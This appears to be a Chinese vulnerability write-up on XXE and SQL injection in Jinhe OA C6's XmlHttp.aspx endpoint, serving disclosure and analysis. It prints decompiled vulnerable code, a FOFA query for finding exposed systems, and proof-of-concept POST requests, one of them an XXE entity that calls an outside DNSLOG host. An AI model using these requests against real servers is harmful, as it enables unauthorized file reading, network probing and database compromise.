金和OA JHSoft.Web.Departments/XmlHttp.aspx XXE+SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 JHSoft.Web.Departments/XmlHttp.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

直接根据 JHSoft.Web.Departments/XmlHttp.aspx 在 bin 目录下查找 JHSoft.Web.Departments.dll 将其进行反编译后找到 XmlHttp 的处理逻辑

public class XmlHttp : Page
{
  protected void Page_Load(object sender, EventArgs e)
  {
    XmlDocument xmlDocument = new XmlDocument();
    xmlDocument.Load(this.Request.InputStream);
    string innerText = xmlDocument.SelectSingleNode("//root//Flag").InnerText;
    if (innerText == null)
      return;
    if (!string.op_Equality(innerText, "GetSubDeptsByID"))
    {
      if (!string.op_Equality(innerText, "IsCompany"))
        return;
      this.GetIsCompany(xmlDocument.DocumentElement.SelectSingleNode("//root//deptid").InnerText.Trim());
    }
    else
      this.GetSubDeptsByID(Convert.ToString(xmlDocument.DocumentElement.SelectSingleNode("//root//deptid").InnerText));
  }

请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。

同时GetIsCompany与GetSubDeptsByID方法还存在SQL注入漏洞

GetSubDeptsByID

漏洞复现

XXE

POST /c6/JHSoft.Web.Departments/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到请求

SQL

GetSubDeptsByID

POST /c6/JHSoft.Web.Departments/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<root>
<Flag>GetSubDeptsByID</Flag>
<deptid>SQLI_POC</deptid>
</root>

成功延时 4 秒

IsCompany

POST /c6/JHSoft.Web.Departments/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<root>
<Flag>IsCompany</Flag>
<deptid>SQLI_POC</deptid>
</root> 

也成功延时 4 秒


手机扫码阅读

金和OA Jhsoft.Web.dossier/XMLHttp.aspx XXE漏洞

孚盟云CRM lkpClientsCust.aspx SQL注入漏洞

评 论